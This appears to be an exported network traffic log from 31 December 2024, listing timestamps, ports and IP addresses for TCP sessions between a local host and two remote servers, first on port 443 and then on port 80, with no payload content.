Dec 31, 2024 09:51:08.844665051 CET	49707	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:08.844708920 CET	49707	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:08.844770908 CET	443	49707	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:09.295542955 CET	443	49707	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:09.295597076 CET	443	49707	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:09.295640945 CET	443	49707	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:09.295663118 CET	49707	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:09.295680046 CET	443	49707	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:09.295711994 CET	443	49707	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:09.295734882 CET	49707	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:09.295739889 CET	443	49707	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:09.295767069 CET	443	49707	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:09.295783997 CET	49707	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:09.295789003 CET	443	49707	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:09.295820951 CET	443	49707	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:09.295831919 CET	49707	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:09.295835972 CET	443	49707	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:09.295881987 CET	49707	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:09.296416998 CET	443	49707	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:09.300246954 CET	443	49707	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:09.300322056 CET	49707	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:09.300327063 CET	443	49707	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:09.344207048 CET	49707	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:09.383996964 CET	443	49707	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:09.384077072 CET	443	49707	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:09.384109020 CET	443	49707	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:09.384138107 CET	49707	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:09.384150028 CET	443	49707	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:09.384191036 CET	49707	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:09.384197950 CET	443	49707	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:09.384218931 CET	443	49707	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:09.384259939 CET	49707	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:09.389239073 CET	49707	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:09.389260054 CET	443	49707	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:09.389269114 CET	49707	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:09.389276028 CET	443	49707	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:09.716387033 CET	49708	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:09.716411114 CET	443	49708	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:09.716475964 CET	49708	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:09.716909885 CET	49708	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:09.716933012 CET	443	49708	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:10.171485901 CET	443	49708	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:10.171591997 CET	49708	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:10.173141956 CET	49708	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:10.173162937 CET	443	49708	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:10.173455000 CET	443	49708	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:10.174787045 CET	49708	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:10.174974918 CET	49708	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:10.175002098 CET	443	49708	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:10.827276945 CET	443	49708	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:10.827392101 CET	443	49708	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:10.827450991 CET	49708	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:10.827706099 CET	49708	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:10.827718973 CET	443	49708	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:10.992888927 CET	49709	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:10.992945910 CET	443	49709	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:10.993030071 CET	49709	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:10.993367910 CET	49709	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:10.993391037 CET	443	49709	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:11.447757959 CET	443	49709	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:11.447904110 CET	49709	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:11.449619055 CET	49709	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:11.449632883 CET	443	49709	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:11.449872971 CET	443	49709	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:11.451301098 CET	49709	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:11.451477051 CET	49709	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:11.451512098 CET	443	49709	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:11.451565981 CET	49709	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:11.499330997 CET	443	49709	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:12.087013006 CET	443	49709	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:12.087095022 CET	443	49709	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:12.087156057 CET	49709	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:12.091566086 CET	49709	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:12.091589928 CET	443	49709	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:12.498902082 CET	49710	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:12.498935938 CET	443	49710	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:12.499032021 CET	49710	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:12.499471903 CET	49710	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:12.499478102 CET	443	49710	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:12.956626892 CET	443	49710	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:12.956764936 CET	49710	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:12.958055019 CET	49710	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:12.958060980 CET	443	49710	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:12.958251953 CET	443	49710	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:12.959542036 CET	49710	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:12.959671974 CET	49710	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:12.959692955 CET	443	49710	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:12.959763050 CET	49710	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:12.959770918 CET	443	49710	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:13.577421904 CET	443	49710	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:13.577517986 CET	443	49710	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:13.577568054 CET	49710	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:13.577773094 CET	49710	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:13.577785969 CET	443	49710	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:14.093087912 CET	49711	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:14.093136072 CET	443	49711	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:14.093312979 CET	49711	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:14.093568087 CET	49711	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:14.093600035 CET	443	49711	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:14.607012033 CET	443	49711	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:14.607150078 CET	49711	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:14.608453035 CET	49711	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:14.608469963 CET	443	49711	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:14.608741045 CET	443	49711	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:14.610651016 CET	49711	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:14.610651016 CET	49711	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:14.610699892 CET	443	49711	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:15.022816896 CET	443	49711	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:15.022912979 CET	443	49711	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:15.023015022 CET	49711	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:15.135246992 CET	49711	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:15.135276079 CET	443	49711	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:15.744019985 CET	49712	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:15.744052887 CET	443	49712	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:15.744194984 CET	49712	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:15.744522095 CET	49712	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:15.744534969 CET	443	49712	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:16.197657108 CET	443	49712	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:16.197761059 CET	49712	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:16.199095964 CET	49712	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:16.199105024 CET	443	49712	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:16.199307919 CET	443	49712	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:16.200645924 CET	49712	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:16.201399088 CET	49712	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:16.201430082 CET	443	49712	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:16.201524973 CET	49712	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:16.201555014 CET	443	49712	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:16.201653957 CET	49712	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:16.201678991 CET	443	49712	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:16.201795101 CET	49712	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:16.201828957 CET	443	49712	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:16.201966047 CET	49712	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:16.201996088 CET	443	49712	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:16.202183962 CET	49712	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:16.202224016 CET	443	49712	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:16.202234983 CET	49712	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:16.202250957 CET	443	49712	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:16.202364922 CET	49712	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:16.202392101 CET	443	49712	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:16.202414036 CET	49712	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:16.202526093 CET	49712	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:16.202559948 CET	49712	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:16.211390018 CET	443	49712	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:16.211529970 CET	49712	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:16.211556911 CET	443	49712	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:16.211564064 CET	49712	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:16.211596012 CET	49712	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:16.211617947 CET	49712	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:16.211649895 CET	49712	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:16.211704016 CET	443	49712	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:19.459153891 CET	443	49712	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:19.459270000 CET	443	49712	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:19.459347010 CET	49712	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:19.459511995 CET	49712	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:19.459531069 CET	443	49712	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:19.471457958 CET	49713	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:19.471518040 CET	443	49713	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:19.471693993 CET	49713	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:19.471910000 CET	49713	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:19.471925974 CET	443	49713	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:19.944767952 CET	443	49713	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:19.944907904 CET	49713	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:19.946291924 CET	49713	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:19.946310997 CET	443	49713	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:19.946542978 CET	443	49713	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:19.947757006 CET	49713	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:19.947774887 CET	49713	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:19.947827101 CET	443	49713	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:20.428368092 CET	443	49713	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:20.428453922 CET	443	49713	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:20.428529978 CET	49713	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:20.428765059 CET	49713	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:20.428778887 CET	443	49713	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:20.428797960 CET	49713	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:20.428806067 CET	443	49713	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:20.430088043 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:20.434937000 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:20.435100079 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:20.435436964 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:20.454273939 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.203140020 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.203156948 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.203169107 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.203178883 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.203190088 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.203223944 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.203480959 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.203521013 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.203530073 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.203541040 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.203551054 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.203562021 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.203583002 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.203613997 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.208156109 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.208204031 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.208214998 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.208237886 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.250473976 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.329288006 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.329308033 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.329318047 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.329329014 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.329339981 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.329354048 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.329385996 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.329741001 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.329751968 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.329778910 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.329792976 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.329803944 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.329813004 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.329823017 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.329826117 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.329854012 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.330663919 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.330677032 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.330687046 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.330697060 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.330707073 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.330728054 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.330750942 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.331538916 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.331549883 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.331561089 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.331569910 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.331579924 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.331581116 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.331612110 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.332381010 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.332396984 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.332422018 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.375447035 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.454197884 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.454215050 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.454226017 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.454236031 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.454242945 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.454253912 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.454266071 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.454279900 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.454315901 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.454519033 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.454531908 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.454543114 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.454554081 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.454566002 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.454574108 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.454610109 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.455012083 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.455027103 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.455037117 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.455070972 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.455229044 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.455240965 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.455265999 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.455279112 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.455291986 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.455317974 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.455648899 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.455694914 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.455760002 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.455770969 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.455781937 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.455794096 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.455801964 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.455805063 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.455816031 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.455828905 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.455842018 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.455866098 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.456630945 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.456650019 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.456674099 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.456688881 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.456701040 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.456721067 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.456753016 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.456763983 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.456775904 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.456787109 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.456796885 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.456834078 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.457751036 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.457768917 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.457782030 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.457792997 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.457794905 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.457806110 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.457817078 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.457819939 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.457834959 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.457844973 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.457854986 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.457881927 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.458621979 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.458635092 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.458647013 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.458656073 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.458688974 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.459106922 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.500447035 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.579381943 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.579395056 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.579405069 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.579413891 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.579519033 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.579544067 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.579559088 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.579569101 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.579583883 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.579596043 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.579603910 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.579605103 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.579616070 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.579627991 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.579632998 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.579643965 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.579684973 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.580043077 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.580059052 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.580121040 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.580193043 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.580204010 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.580213070 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.580221891 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.580226898 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.580233097 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.580245018 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.580282927 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.580578089 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.580593109 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.580605030 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.580615044 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.580624104 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.580632925 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.580647945 CET	49715	80	192.168.2.9	185.215.113.16
Dec 31, 2024 09:51:21.580648899 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.580658913 CET	80	49715	185.215.113.16	192.168.2.9
Dec 31, 2024 09:51:21.580667973 CET	80	49715	185.215.113.16	192.168.2.9
